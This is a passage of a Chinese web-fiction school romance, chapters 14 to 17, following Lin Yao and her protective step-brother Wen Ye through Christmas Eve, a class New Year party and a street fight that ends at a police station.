很快熬好的砂锅粥被服务员端上来,配着一盘炸春卷。 闻野从筷篓里抽出一双一次性的筷子,掰开后两根拿着相互摩擦了几下,弄掉上面细小的,容易扎到手的木屑,再朝着林杳递过去。 “趁热吃吧。”魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 14、第十四章 两人点的都是这家店的特色,鲜虾香菇粥,软糯又鲜美,林杳吃得胃里暖暖的,没一会儿额头就出了层薄汗。 她又夹起一块春卷,还没放到嘴里,搁桌上的手机响了。 亮起的屏幕闪烁着备注:妈妈。 闻野目光也瞄到了,以为是赵美莺打来的,心想着这女人总算还剩一丁点良心,知道关心一下生病的女儿。 撩起眼皮,就看到小姑娘眼睛倏地亮了,溢满惊喜,可随之又划过一丝局促和生疏。 林杳抿了抿唇,把筷子夹着的春卷放盘子里,拿起手机接通。 电话不是赵美莺打来的,她还没给沈怡改备注。 迟疑了两秒,她称呼也没变,还像从前那么喊:“妈妈。” “诶!”电话那头,沈怡激动地应了,眼泪霎时落下。 从把林杳送走之后,这是沈怡打来的第一通电话,之前因为愧疚,又不想打扰她现在的生活,她和丈夫一直忍着没联系她。 但终归是十几年在自己身边养大的,哪里能完全割舍得下。 “我在这边住得挺好的,妈妈她、她对我也挺好的。我已经转去了新的学校,离家很近,没有什么不适应的,期中考也考完了,成绩没退步。” 林杳说话时注意到闻野也没吃了,他手肘撑在桌上,黑漆狭长的眸子一直盯着她看。 等挂了电话,她轻吸了吸泛酸的鼻尖,有些奇怪:“你刚才干嘛一直看我啊?” 闻野:“看你需不需要眨眼。” 林杳有些懵,隔几秒才反应过来这句话的言外之意,他说的是她撒谎不眨眼。 她小声辩驳:“就一句,其余都是真的呀。” 除了赵美莺对她很好那句。 “在这破地方也叫住得好?”闻野轻嗤了声,心里憋着股不爽,冲着那对素昧平生,把她扔这儿的父母。 “也还好吧,至少风吹不到雨淋不着。”林杳挺乐观地道,眼角弯了弯,亮晶晶的眸子看着他:“而且我不还多了个哥哥嘛。” 闻野心脏猛地一跳。 “我小的时候,其实一直都很想要个哥哥,也会羡慕那些有哥哥的小女孩,能被哥哥带着出去玩儿,被调皮的小男孩欺负了,也能很有底气地说我去喊我哥来。” 林杳笑起来,颊边一对梨涡若隐若现,“现在我的愿望算成真了。” “不过,”她回忆着眨了眨眼:“刚来时你看着好凶,也不跟我讲一句话,我还以为你很讨厌我。” 闻野看着少女一派天真的表情,心中糅杂出些微苦涩,他哪可能讨厌她。 只不过是害怕那要命的渴望泄露出来,便只能拼命地用表现出的讨厌加以掩饰。 他唇角扯了扯,语气戏谑道:“哦,一开始是有点吧,后来发现你不讨厌了。” - 日复一日的枯燥学习因为即将到来的平安夜增添些许乐趣。 林杳之前念的外国语学校讲究和国际接轨,也会过这所谓的“洋节”,学校里会提前摆上一棵很大的圣诞树,教室的窗户上会贴着各种装饰,办和圣诞主题相关的黑板报,当天甚至还有表演活动,和同学们相互交换礼物的环节。 三中则没有这些,老师们循规蹈矩地按教学进度上课,但学生们想过节的心思是压抑不住的。 校门口几家文具店每到放学都挤满了人,非常热闹。 女生们围在一堆挑两块一张的音乐贺卡,拐杖造型的糖果和发卡,男生也会进去买点什么买给女朋友或者打算告白的女孩儿。 林杳陪谢安琪挑选贺卡时自己也买了几张,除了谢安琪外,她在班上也有几个相处得不错的女生。 两人买完往学校走时,谢安琪语气十分笃定道:“杳杳,平安夜那天一定有很多男生送你苹果和礼物,到时候要是你桌洞装不下了,我的桌子借你用啊。” 去年平安夜,薛佳莹就桌洞里就被塞满了,她还大声抱怨了几次自己书都没地方装了。 不过大家都听得出来,这话里的炫耀成分居多。 这个年龄的女生,很多会把被男生喜欢,受欢迎,当做一件很有面子的事。 林杳宁愿不要有。以前在外国语学校时会有男生送礼物,她拉拉扯扯的,课间的休息时间都被耽误了,连上厕所都来不及去了。 她们两人刚离开文具店,就有几个男生光临。 大步潇洒走正中间的叫崔泽,瘦高个,单眼皮,眼睛偏小,但还很会拾到自己,按照韩剧欧巴的风格穿衣打扮,看着就还有点小帅。 崔泽往文具店门口一站,指着玻璃展示墙里一只超大号,好几百一个的熊玩偶问兄弟们:“你说平安夜那天我送林杳这个,她会不会答应我的告白啊?” “我看能行,女生都喜欢这种毛绒绒的娃娃。” “那我就买这个了,到时候表白成功请你们搓一顿。”崔泽大方道,掏出钱包就要进去买了,一道更高的身影拦在了他面前。 闻野眼皮垂着,漆黑的眼珠冷漠地看着他,声线也是毫无起伏,冷飕飕的:“你说要给谁表白?” 崔泽心头一紧,全校都知道林杳是闻野的妹妹,虽然好像没血缘吧,但他挺护着她的。 不过他又不是要欺负她,是正儿八经给她表白呢,对闻野这个打架逃课都是家常便饭的校霸来说,早恋肯定也不算什么吧。 崔泽这么想着,大着胆子道:“给、给林杳表白,野哥你放心,要是你妹答应做我女朋友,我肯定对她特好。” 闻野舌尖顶着下颚,懒慢地笑了一声。 崔泽见状还以为自己有戏,喜悦的小火苗刚在心里燃起,就见少年脸色彻底阴沉了下去,声音更是冰冻三尺一般的冷。 “你说是你手打折,让你写不了情书,还是干脆腿打折,让你那天直接来不了学校呢。你选一个吧。” 崔泽:“……” 他的几个兄弟:“……” “对不起野哥,我错了,我绝对不跟林杳表白了。”崔泽认怂认得飞快。 他真发怵,立刻举起三根指头发誓:“我以后见到她绕道走行不?” 闻野脸色稍霁,眸光从他一一扫过他身旁一众兄弟。 几个男生无不瑟瑟发抖,只听他警告道:“刚那句话对你们也是一样的,她以后是要考好大学的,你们谁他妈让她分心,就别怪我不客气。” 撂下这句话,闻野才走。 一直到他身影完全消失不见,几人才敢大喘气,然后纷纷拿出手机戳进三中一百多号人的大水群,好心地给其他蠢蠢欲动的同学忠告—— 珍爱生命,远离闻野他妹!!不怕断手断脚的,就去给林杳表白吧!! - 到了平安夜这天,并没有像好多偶像剧里演的里那样下雪,天气还不怎么好,是个阴天。 林杳收到了班上好几个关系好的女生送的贺卡,她也都回赠了,让她松了口气的是,没有一个男生给她送东西。 毕竟三中没哪个男生不怕闻野,林杳是长了张漂亮得不行的初恋脸,可自己小命更重要啊! 谢安琪百思不得其解,难道他们全校的男生集体都眼瞎啦? 薛佳莹倒是和去年一样,一下课就有男生来找,她桌洞里塞满了大大小小的礼物,还收到个超大的熊玩偶。 看见林杳就收到几个女生送的,少得可怜的贺卡,她顿感扬眉吐气,有种场子找回来的感觉,这一整天从林杳桌侧经过脸上她都扬着胜利者的微笑。 晚自习最后一节是地理,地理老师拿着半截粉笔,躬着身在黑板上费心尽力地画洋流走向图。 而底下的学生心思早就飘出了教室,一张张小纸条传得飞起,都在讨论等会儿去哪儿过平安夜。 林杳专心致志地看着黑板,一张草稿纸被谢安琪推到了她手边。 她停下记笔记的动作,看见一行字:【杳杳,今晚我们去佳丽广场逛逛吧,听说今晚那里有特别活动,还有圣诞老人分糖果和巧克力】 林杳在下边回复:【不好意思啊,我今晚有事】 在同学们的翘首以盼中,晚自习只剩最后十五分钟了,然而天不作美,窗外突然下起了雨。 闻野所在的高三7班今晚也有晚自习,英语的。他们班英语老师是才毕业考进来的,年轻脾气又好,不太压得住学生,今天的晚自习班上翘课了一小半。 彭一凡和路宇安就是其中之二。 两人从六点起就窝在闻野的纹身店打游戏,等着他给顾客纹完一起去台球厅嗨皮。 八点十分,客人纹完了身,穿上衣服走了,彭一凡终于把憋了半天的吐槽问出口:“刚那兄弟怎么想的啊,竟然把女朋友名字纹手臂上,以后分手了咋整啊?” 路宇安机智道:“那还不容易,以后找女朋友找个同名同姓的不就行了。” 闻野在两人的哔哔声中收拾好工具,三人一起走到街边等出租,刚拦到一辆,一滴雨砸了下来。 闻野拉开副驾驶车门的手顿了顿,又“啪”一声重新关上,转头对他俩道:“我有点事,先回去一趟,你们先过去,我半小时后来。” 彭一凡和路宇安还没来得及问是什么事,闻野已经飞快走了。 他回到店里,拿了把放这儿备用的伞。早上他和林杳一起出的门,他记得她是没带的。 等他到学校时雨已经下得有些大了,校门开了,门口停着好些小电驴,一些住附近的家长骑着过来接孩子,身上雨衣来不及脱,拿着把伞就急匆匆往里走。 也有些男生懒得等雨,拿书包挡在头顶直接往外冲。 纷乱雨夜里,一辆黑色迈巴赫从对面街驶了过来,拐弯时明晃晃的远光灯直直朝闻野照来,刺眼得很,他不悦地蹙了蹙眉。 这车先他一步,停在了校门口,里面的男生下来,年纪并不大,约莫才十七八岁,面容清隽,一身剪裁得体的黑色外套,手里撑着把高级昂贵的黑伞。 男生身上很明显一股矜傲,一看就是优等生,且家境非凡,和三中这破学校格格不入。 然后他往这破学校里走了进去。 闻野也迈进校门,他摸出手机给林杳拨过去,十几秒后接通了:“喂,你还没走吧,我过来接你。” 那边声音有些嘈杂,他听见她提高了音量道:“不用啦,有人来接我,我今晚要出去。” 谁来接,去哪儿,干什么,几点钟回,问题接连不断弹出来,一个还没来得及问,闻野停住了脚步。 他远远地看见教学楼一楼,明亮灯光下,站人群之中的小姑娘伸长胳膊招了招手。 却不是冲着他。 刚从轿车里下来的男生走了过去,在她面前停下,小姑娘脸上露出个笑,几步走进那男生撑着的伞里。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 15-20 第15章 第十五章 出来消食 半天没听到手机那头的声音, 林杳又喂了两声,依然没有闻野的回应。 她便以为是下雨天信号不好,先挂了电话。 收起手机后, 她仰头看向身旁的男生:“我先去水果店买点水果吧, 你外婆喜欢吃什么啊?” “不用。”陈澍予望着她笑道:“我外婆病房里各种水果都堆起来了, 根本吃不完,你去看她, 陪她说会儿话解闷,她就很高兴了。” 陈澍予是林杳之前念的那所国际学校的同学,两人做过一个学期同桌。 有次为了在校庆上表演一个英语话剧,她和另外几个同学连着好几个周末都去他家排练。 他父母当时都在国外,他和外婆住一块儿,那几个周末林杳和同学都被热情的外婆留下来吃了晚饭。 今年九月份,陈澍予被父母安接到英国去留学了,前两天才放假回来,他联系到林杳,林杳也才知道他外婆动了个手术,于是约着去医院看看老人家。 好久没见, 两人说着话,共撑着一把伞离开。 大雨之下, 校园路灯的光线变得模糊, 闻野还站树下, 雨水噼里啪啦打在黑色伞面上, 他颀长的身影几乎融进昏暗的黑夜里, 没谁注意到。 所有在一楼等雨停的学生目光都跟随着林杳和陈澍予离开的背影。 “啊啊啊刚那男生好帅,那身黑色大衣穿也好有气质啊,我们学校那群矮挫的男生完全不能比。” “哎, 我们学校也不全是矮挫吧,把闻野拉出来还是能比的。不过你看到他手里撑的伞了吗,我前不久才在杂志上看到,牌子我忘了,但说是什么英国贵族伞,一把将近两千块啊!” “靠,好有钱,慕了慕了。” “他该不会是林杳男朋友吧?他们俩看着还挺般配的,有韩剧里贵族学校的既视感了……” 淅沥的雨声夹杂着那些讨论八卦的声音传进耳中,闻野捏着手机的指节紧了紧,终于抬脚离开。 走出校门,门口停着那辆迈巴赫不见了踪影,他也拦了辆出租,去了彭一凡他们等着的那家台球厅。 今晚平安夜,台球厅里更热闹了,多是十几二十岁的年轻男女,吸烟喝酒,奶白色的烟雾缭绕着整个大厅,时不时爆发出一阵热烈的笑闹声。 彭一凡和路宇安打完了两局来休息,还没走到闻野坐的沙发那儿,就看到一个女生先过去了。 这女生穿着小皮裙马丁靴,上身一件露肩的毛衣,栗棕色的长卷发,贴着浓密长卷的假睫毛,一张唇也涂得红艳,显露出一股不符合年龄的成熟感,但也是好看精致的。 她手里拿着根球杆,站到闻野跟前,精致的脸上露出明艳娇俏的笑容:“我看你一个人在这儿坐大半个小时了,不嫌无聊嘛,我们来打一局吧。” 闻野翘着腿没动,修长的手指还百无聊赖地按着手机里的贪吃蛇,甚至连眼都没抬一下。 “不会打。” 态度冷淡十足,偏配上那张棱角分明的帅脸,反而更有股勾人的劲儿,让人生出征服欲。 “那我教你打呀。”女生嗓音掐得柔。 闻野无动于衷:“懒得学。” “……” 女生尴尬又气闷地走了,彭一凡他们正走过来,看见这一幕也都习以为常了。 走近了,两人看见闻野嘴角还和来时一样绷着,心情一点儿没缓解,还是很不好的样子。 “野哥到底谁惹你了啊?”彭一凡一屁股坐闻野旁边,费解又关心问道:“你这都不高兴一晚上了吧。” “没谁。” 说是这么说,少年下颚却收紧着,漆黑的眼底涌着显而易见的不爽和烦躁。 这时台球厅里的喇叭里传出声音:“今天平安夜,老板特地为大家举行一场以球会友的活动,一等奖是红轴机械游戏键盘,二等奖是头戴式耳机,三等奖是限量版zippo打火机,四等奖是正版伽百利小熊公仔一个,凡参与者都有进口蛇果一枚。” 说完就有个一身兔女郎制服打扮的工作人员推着小推车过来,上面一层层装着各种奖品。 没哪个网瘾少年不想要一把高端的机械键盘,彭一凡和路宇安本想劝闻野报名参加的,就他们野哥那实力,一等奖那还不是手到擒。 然而看他那张心情差死的脸,两人都很识趣地把嘴边的话收了回去。 在场其他人都对这活动挺感兴趣的,旁边一女生撒娇地拽了拽她男朋友的手:“那个小熊好可爱,亲爱的你帮我去赢回来好不好。” 男生脱口而出:“要嬴肯定是嬴那把机械键盘啊,价值一千多块呢,那什么娃娃顶多就一两百。” 转而瞥见女朋友垮下的表情,立刻哄道:“好好好,给你嬴小熊回来。 ” 闻野手指顿了顿,手机里玩了快一个小时,通过了几十关的俄罗斯方块蹭蹭蹭就落满了。 他抬起黑眸,看向小推车最上方摆着的那个小玩偶。 比他的巴掌大些,脖子上还系着个小蝴蝶结,看着挺乖的。 彭一凡想说要不去外边吃个宵夜吧,还能喝点小酒解愁呢,嘴刚张开,闻野倏地起身,去工作人员那儿交了二十报名费。 刚对闻野搭讪失败的女生也在旁边围观,眼睁睁看着他第一轮就上了,俯身去压着杆,黑眸眯起一只。 明亮光线将少年锋利流畅的下颚线条勾勒得更清晰深刻,身上那股懒慢劲散去,透出股势在必得的专注。 紧接着“砰、砰、砰”几下清脆声响,一组彩球全部击入袋中。 女生:“……” 屁的不会打! 男人的嘴,骗人的鬼! 闻野毫无悬念赢了比赛,率先击中黑球八:,骨节分明修长的食指往小推车上一指“我不要键盘,要那只小熊。” 工作人员一愣:“啊,这个小熊是四等奖,你要和第四名的参赛者商量……” 没等说完,第四名的男生喜形于色,飞快应道:“我愿意换!” 闻野提留起小推车上的那只小熊,又揣了个色泽鲜亮的苹果进兜里,走人- 陈澍予外婆住在很远的一家私立医院,坐车过去将近一个小时,林杳又在病房待了半个多小时,再到家已经是快十一点了。 司机把车开到巷子口时,林杳出声道:“叔叔,麻烦您就在这儿停吧。” 她下车,陈澍予也跟着下了:“我送你到家门口。” “不用啦,前面就几步路就到家了,时间不早了,你快回去吧。” “这可不行。”陈澍予坚持:“这么晚了,你一个女孩子不安全,必须看你进家门我才能放心。” 一场大雨已经停了,坑坑洼洼的地面积着水,被路灯和探头出来的月亮照得发光,两侧的矮房在夜色的掩映下依然显出老旧衰破。 两人没走几步,一只黄鼠狼叼着半块脏兮兮的面包从垃圾桶后边窜出来,嗖的一下又跑远了。 林杳第一次看见时被吓坏了,见过几次之后已经习惯了。 陈澍予却是第一次踏足这种贫民窟一样的环境,眉忍不住皱了皱,他把手伸进外套左边的兜,摸到里面一个精致的小盒子。 在心底又演练了一遍要说的话,手刚要拿出来,身旁的林杳轻“呀”一声,噔噔噔几步往前跑去:“这么晚了,你怎么出来了?” 比起和他说话时的客气,小姑娘态度明显更亲近。 陈澍予抬眸,看见闻野。 对方眉眼冷峻,穿着黑色冲锋衣,拉链半拉不拉的,露出的喉结锋利突出,冷白颀长上的青筋若隐若现,气质和斯文沾不了一点边,明显是那种野蛮生长的强悍和霸道。 和这破烂地方倒是挺配的。 闻野也正朝他看来,漆黑的眸底冷冰冰的,眼尾微挑,自上而下地将他快速打量了遍,然后挪开,低头看向身前正仰脸望着自己的姑娘。 “晚上吃撑了,睡不着,出来散步消消食。”他随口扯道。 林杳毫无怀疑地信了,转头对陈澍予道:“那你不用送我啦,我和我哥一起回去。” 陈澍予也只能说好,两人就此别过,他手里捏半天的礼物这下也没有机会送出去了。 走了大半截路,闻野似是才想起跟她一起回的男生,漫不经心的口吻问道:“刚那男的谁啊,跟人出去大晚上了,也不怕人家把你拐了卖了。” 林杳自然而然地答道:“他是我之前高中的同学,这学期出国了,前几天才放假回来,他外婆生病住院了,我过去看望一下。” 闻野撇过眼瞧了瞧她,小姑娘神态正常得很,没一点害羞。 他“噢”了声,没再多说什么,像是刚才也就随口一问。 到了家,刚要进卧室,林杳被喊住。 “等一下。” 她乖乖站定,看着闻野进了房间,很快出来,手里提溜着一只超可爱的小熊公仔。 “今晚上去打台球,台球厅搞了个比赛,我赢了之后非送我这个熊,一点也不实用,还不如送打火机。”他嫌弃地吐槽道。 “这是伽百利的小熊。”林杳以为他不知道,告诉他:“挺有名的一个牌子。” 闻野没听说过什么伽什么利的,只是看她说话时亮晶晶的大眼睛,就知道她是喜欢的。 他唇角掀了掀,将小熊塞进她手里:“我要这玩意儿也没用,放房里还占位置落灰,你要就拿着吧。” “啊,谢谢。”林杳杏眼高兴地弯了弯,手摸了摸小熊的毛,摸着好软好舒服。 闻野也勾了下唇,手又从夹克兜里摸出个蛇果:“也是台球厅送的,你拿去吃吧。” “哦还有,平安夜快乐。” 第16章 第十六章 更深地陷进去 平安夜后没几天就到了元旦, 三中今年没有去F大租场地办晚会,说是人家学校也有活动要办。 所以31号这天下午就不上课了,各个班在自己教室搞点节目庆祝。 上午四节课一上完, 大家快速解决完中饭, 都积极地行动起来, 男生负责拖开桌椅,给表演的同学留出中间一片空地, 女生则把提前买好的窗花彩带都布置上。 两点钟不到,大家已经围成一大圈坐好,每人桌上都摆着用班费买的瓜子,锅巴,辣条这些实惠又量大的小零食,塑料杯里也都倒满了雪碧或可乐。 虽然看上去有点简陋,但大家兴致都很高昂,平时最能整活的男生第一个上场,给大家表演纸牌魔术,结果还没表演完藏在袖子里的几张牌先掉了出来。 闹得哄堂大笑,班长拿着从老师那里借来的扩音器充充当主持人:“下一个节目是薛佳莹同学表演的街舞, 掌声欢迎。” 薛佳莹脱了身上羽绒服,里面是件紧身短t, 露出一截白细的腰和肚脐。 瞬间炸场。 男生眼睛都看直了, 一个个拍巴掌拍得更大劲。 薛佳莹很享受这种出风头的感觉, 昂首挺胸走到教室中间来了一段热烈劲舞, 又收获到全班热烈的掌声。 她下场时还对着林杳扬了扬下巴, 带着几分挑衅的意味,仿佛就是嬴过了她。 林杳看见了,拿起颗花生剥起来。 谢安琪还有点不服气, 小声问她:“杳杳你不是也会跳舞吗,怎么不报名个节目啊。” 两人之前闲聊,谢安琪知道她从小学跳舞的,还是那种很仙的古典舞,她这长相身段,跳起来一定超好看! 林杳之前学跳舞只是出于兴趣,并没有很强的出风头想法,当然除此之外还有一个更关键的原因。 “我挺怕冷的。”她如实道。 谢安琪被这理由弄得无法反驳。 但也确实是,这一两度的天气,她穿羽绒服在这没暖气的教室都缩手缩脚的,更别提那种薄纱的舞蹈裙了。 薛佳莹为了出风头就穿个短袖,还真是豁得出去,这么一想,她又服气了。 表演完节目,班上就玩起了击鼓传花,传的是个空矿泉水瓶,班长在讲台放歌,切断时矿泉水瓶在谁手里谁就来接受惩罚。 放的是很嗨的歌,班上气氛也热烈,林杳很倒霉,第一轮歌声停止时瓶子刚传到她。 纷纷起哄,男生更来劲,有个笑嘻嘻问班长:“惩罚卡里有没有那种跟在场异性壁咚或者抱一个之类的啊?” 女生们全嫌弃地啧他:“孙耀哲做什么美梦呢,要点脸吧。” 班长咳了声,一本正经道:“我们这是正经游戏啊,而且教导主任随时到各个班视察呢。” 班长拿着个纸盒走到林杳面前,里面全是他偷摸在上午数学课上写的:“来吧,抽一个。” 林杳有点紧张,伸手选了个小纸条展开,谢安琪迫不及待地先凑过去看,还念了出来:“给手机里关系最好的异性朋友打通电话,在对方说了 喂之后念出那段楚雨荨的经典台词。” 念台词还是其次,关键是给关系最好的异性,这多少就有点暧昧了。 又是一片哎呦哎哟地起哄,还有男生怪叫着调侃:“班长你刚还说这是正经游戏,这不就打脸了。” 班长写惩罚游戏时也为难极了,又要把气氛调动起来,又不能太过,这可比做数学题还费脑细胞。 全班的视线都汇聚到林杳这儿,全是好奇八卦的,各个兴奋不已。 林杳捏着手机纠结了几秒,拨出个号码,并按要求按了免提。 嘟几声之后,接通。 “喂,怎么了?” 少年声线低磁懒散,班上同学听得莫名有点耳熟。 林杳看着纸上那句台词,还没念出口就已经先尴尬了,但没办法,愿赌服输,参与了游戏就得接受惩罚。 她深呼吸一口气,红着脸飞快照着念道:“第一我不是拽我是愤怒,第二我不叫喂我叫楚雨荨。”【注】 念完之后她脸彻底红透,真的真的好丢脸啊。 怕闻野以为她神经抽风了,林杳来不及喘气,立刻窘迫地对他解释道:“我们班现在在玩游戏,输了的惩罚就是给通讯录里关系最好的异性打电话然后念出这段台词。” 那边安静了几秒。 然后响起一声低低的笑:“那行,你继续玩吧,下次小心点,别输了。” 班上同学终于想起这是谁的声音,哪怕不在一个年级,之前闻野在升旗仪式念检讨的次数可不少,可什么时候这位校霸语气这么温柔啦?! 果然妹妹的待遇就是不同! 游戏继续,林杳这次打起了十二分的精神,免得又要接受这种尴尬得要死的惩罚,好在后面一直都有惊无险地避过去了。 饮料喝得有点多,林杳出去上了趟厕所,再回到班上察觉到氛围像是冷却了一样,充做游戏道具的矿泉水瓶被班上最沉默的男生拿在手里。 那男生叫蒋淼,戴一副厚重的框架眼镜,总是埋头学习,但成绩一般,平时几乎不和人说话,男生们之间有什么活动也不会叫他,在班级的存在感约等于无。 此刻他仍是沉默地垂着头,有点长的额发挡住眼镜上沿。 林杳还没搞清楚什么状况,正想问问谢安琪,只见她刷的一下站起来,小脸憋红,似是鼓足勇气开口:“那换我和他对视吧。” 班长也不想搞得太僵,通融地说了声行,于是谢安琪走到教室中间,脸有些红地对蒋淼道:“你准备好了吗?” 蒋淼沉默几秒,点点头:“好了。” 两人开始对视,班长拿着手机计时:“三十秒到了,OK。” 等谢安琪回来坐下,林杳才搞明白刚是怎么回事。 刚才蒋淼抽到的惩罚是和他左边第五个女生对视三十秒不许笑。 而他左边第五个是宋雨婷,一听她就强烈反对。 “其实这惩罚也没什么,宋雨婷平时就爱和班上男生嬉笑打闹。不过她不愿意就算了,脸上还一副很嫌弃蒋淼的表情,说什么谁愿意和他一起接受惩罚啊,弄得蒋淼很下不来台,我看不过去,就一咬牙鼓起勇气站出来了。” 林杳眼弯了弯:“你真好。” 谢安琪被夸得有点不好意思:“哎我就是以前读初中时也被排挤过,知道这种滋味很不好受。” 班级活动到四点多就结束了,大家又一起把教室恢复成原样,林杳背着书包走出学校,看到了已经等在门口的陈澍予。 陈澍予从前在班上人缘就好,出国念书后也和很多同学保持着联系,难得回来一趟,大家都想聚聚,于是他定了间KTV包间。 他也邀请了林杳参加,说是顺路,过来接她一起去。 今天他没坐家里的车来,两人走去马路打车,陈澍予笑着道:“周桐歆也来,不过她应该也跟你说了吧,我记得你们高一时关系最好了,干什么都一块儿。” 林杳垂了垂眼睫没说话,身后这时传来一道有点熟悉,又充满着愤慨的男生声音。 “喂野哥,职高那群王八蛋简直太欺人太甚,他们吃东西不给钱,还把罗阳他妈妈的摊子砸了,我们现在就过去跟他们讨说法!” “野歌你现在店里忙吗,有空来一趟吗,就在圆梦网吧后边的那条街上,毕竟人家的地盘呢,那群王八犊子人多势众,好好好,我们先过去,等你过来。” 林杳脚步顿了顿,转头看见几个气势汹汹往这儿走来的三个身影中有两个认识的,是彭一凡和路宇安。 他们俩也看见了她,还抬手和她打了个招呼,然后继续雄赳赳气昂昂地往前走了。 陈澍予没想到林杳还和这几个认识,想到他们刚才满嘴脏话,还有那一脸马上要干架的凶相,不禁皱起眉。 他自认好心地劝道:“跟那些人你还是不要有太多的接触,一看就是不学无术的混混。” 林杳正在想自己该不该阻止闻野参与进这场打架,就听他这么说,话里带着鄙夷和几分习惯的傲慢。 林杳听得不太不舒服,想了想决定道:“抱歉,晚上的聚会我不能参加了,你自己过去吧。” 陈澍予感受她变得疏离的态度,很是不解,见她还打算跟着那几人过去,他连忙拉住她手:“那种打架的事你别掺和进去。” 两人当了一年多同学,肢体接触还是第一次,他心跳飞快,干脆把平安夜那晚没来得及的表白说出口:“林杳,我其实从高一时就喜欢你了。” 林杳愣了愣,把手从他掌中抽出:“不好意思,我对你从来没有超出普通朋友之外的感情。” 她到底是不放心,小跑着偷偷跟在彭一凡他们身后,没被他们发现。 一直跟到了跟学校隔着两条街的一个巷子里。这边最显眼的就是圆梦网吧的招牌,旁边就是些卖小吃的摊位。 谢安琪曾嘱咐她不要来这儿,因为临近一所职校,很多小混混,谢安琪之前就是在这个网吧被勒索钱的。 这会儿这里乱哄哄的,煎饼锅,燃气炉,还有面桶,盆,铲子,和各种调料罐都被甩在了地上。 中年的摊主女人边用冻得通红的手抹眼泪边,边捡起没坏的工具,她周围站着始作俑者,一群头发染得五颜六色的小青年,还挺得意地欣赏自己的杰作。 彭一凡一马当先地冲过去,气势汹汹对着那些人道:“今天你们不赔钱和道歉,别想走。” “赔个几把钱。”染紫毛的男生不屑地哼了声。 他双手插着兜,把脚边一个番茄酱的瓶子哐的踢开,语气嚣张得不行:“我吃这家的煎饼吃到了石头,没让这女的给我赔医药费就够好的了。” “你胡说,我妈在这边做了七八年煎饼,最讲卫生的,从来没有你说的什么石头,我看你就是想赖账!”彭一凡左边,那个林杳不认识的男生气愤地嚷道。 “你他妈说谁赖账呢?”黄毛走上前两步,一把揪住他衣领,两拨人立刻打起来。 彭一凡他们只有三人,技校的有五个,一开始落了下风,直到闻野从巷子另一边跑了过来。 他先是一把拽起黄毛的胳膊将他甩地上,又一脚踢向正往彭一凡身上抡拳的紫毛。 那群职高的很快被打得毫无还手之力,警车声由远及近地响起,两名年轻的警察跑下来,大声喝止道:“都给我住手!” 一群人把中型警车塞得满满当当,那几个技校的全都鼻青脸肿,彭一凡他们几个脸上也不同程度地挂了彩,唯一毫发无伤的只有闻野。 然而他此刻脸色却比谁都难看。 他下颚绷得死紧,黑眸乌沉沉的,一直偏头看着车窗外,甚至不敢和身旁坐着的小姑娘对视一眼。 他不知道林杳怎么会来,看到了他打架斗殴还不够,还连累她也要一起到警局去做笔录。 谁没事愿意去局子啊,还是在跨年夜这天,她这么乖的好学生,肯定这辈子都没踏足警局这种地方,也不知道等会儿会不会害怕。 闻野乱七八糟地想着,越想越烦躁,猝不及防的,手背上覆上只微凉,又软绵绵的小手。 那只小手 还轻轻握住了他。 闻野心弦猛地一震,不可思议地回头,对上少女通透干净的大眼睛,嗓音柔软带着安抚。 “你别担心,我能给你作证,我刚躲着的时候还拿手机录了视频,可以证明是那几个人先挑的事,而你是见义勇为。” 说完她唇轻轻弯了弯,雪白颊边陷出两个浅浅的梨涡,却好像要让他更深地陷进去了。 第17章 第十七章 要一起去么 林杳本身长得就非常乖, 身上还规规矩矩地穿着校服,一看就是不会说谎的好学生。 她的口供加上她手机里拍的视频,警察确认了是那群职高的青年在寻衅滋事。 通知家长来赔钱, 那几个小青年被拉去行政拘留了。 警局内。 一位年长的警察神色严肃, 对着闻野他们批评教育了十多分钟:“你们也做得不对, 遇上这种事就应该像那个小姑娘一样及时报警,有什么交给我们警察来处理就好了, 哪能自己撸起袖子就上啊?你们照镜子看看自己,这一个个脸挂彩的好看啊……” 说到这儿时,他目光恰好扫到闻野,后半句要说的噎了噎。 这少年冷漠的脸上没一点伤痕,要不是他赶过去时正好看见他怎么一脚把那黄毛踹翻在地,他都不相信他是刚干过架的。 就还别说,这身手是真好,以后要是报个警校倒正合适。 “算了,毕竟你们也是见义勇为,我就不通知你们家长和学校了,一人五百字的检讨, 在这儿写完才能走。我就在这儿亲自盯着,不许拿手机上网搜。” 通融地说完, 他收拾收拾, 腾出两张办公桌, 一人发了只笔和一张印着公安局大队的信纸, 然后端着个水杯, 边踱步喝茶边在身后盯着他们写。 彭一凡和路宇安挤在一张办公桌写检讨,这两人是学校国旗下念检讨的常客,从小到大写的各种检讨能装订成本书, 但没一篇是自己写的。 这会儿憋了半天也没憋出两行字,扭头去看对方的,结果也是和自己差不多的水平。 两人抓耳挠腮的,正把前面的一句话颠过来倒过去地又写一遍时,另一张桌子坐着的闻野倏地起身,将一页写满的检讨递给了警察。 老警察接过一看,字还挺好的,折笔顿挫,笔锋凌厉,错误认识得也算深刻。 老警察满意地点点头:“行,你可以先走了。” 彭一凡和路宇安都没想到他写得这么快,一下子都有了紧迫感。 “再给我一刻钟,我保证写完,绝对不让野哥你久等。”彭一凡马上道。 “我也是。”路宇安说着,刷刷的加快了写的速度。 闻野把椅子放好,瞥了眼他们歪歪扭扭只写了五六行的检讨:“不用急,你们慢慢写。” 两人闻言都感动的不行,跨年夜这天还愿意耐心地在冰冷冷的局子等他们!这是什么感天动地的兄弟情啊!! 然而这感动的情绪刚冒出头,就听少年懒慢的嗓音:“我先走了。” 彭一凡和路宇安:“……” 闻野边拨着手机边快步走出警局,铃声猝不及防地在耳边响起,他循声看去,瞳孔一缩。 半小时前录完口供就走了的小姑娘此刻正坐在门口的椅子上,昏黄的灯影下,她人影小小一只,听到铃声,从搁腿上的书包里拿出手机。 还没来得及接通,林杳眼前突然一黯,她仰起脑袋,和少闻野黑黢黢的眼眸对视上。 离得近了,闻野看见她膝盖上搁着的作业,脸和小手都冻得通红,在这接近零度的天气,风冷飕飕吹不停,她在这儿坐了半个多小时,不被冻着才奇怪。 “你怎么还不回去?”他嗓音沙哑得很。 林杳还朝他仰着小脸,眼睛被风吹久了,弥漫着一层水汽,看得让人心软又心纠。 “我看警察也把你们留下了,有点担心,最后有没有对你们做出什么处罚呀?” 闻野喉咙被堵了堵,好几秒才找回自己的声音:“没什么事,就是让写了张检讨。” “那就好。”林杳松了口气,湿漉漉的眸子也欣喜地弯起来,映着路灯的光,比星河还璀璨明亮。 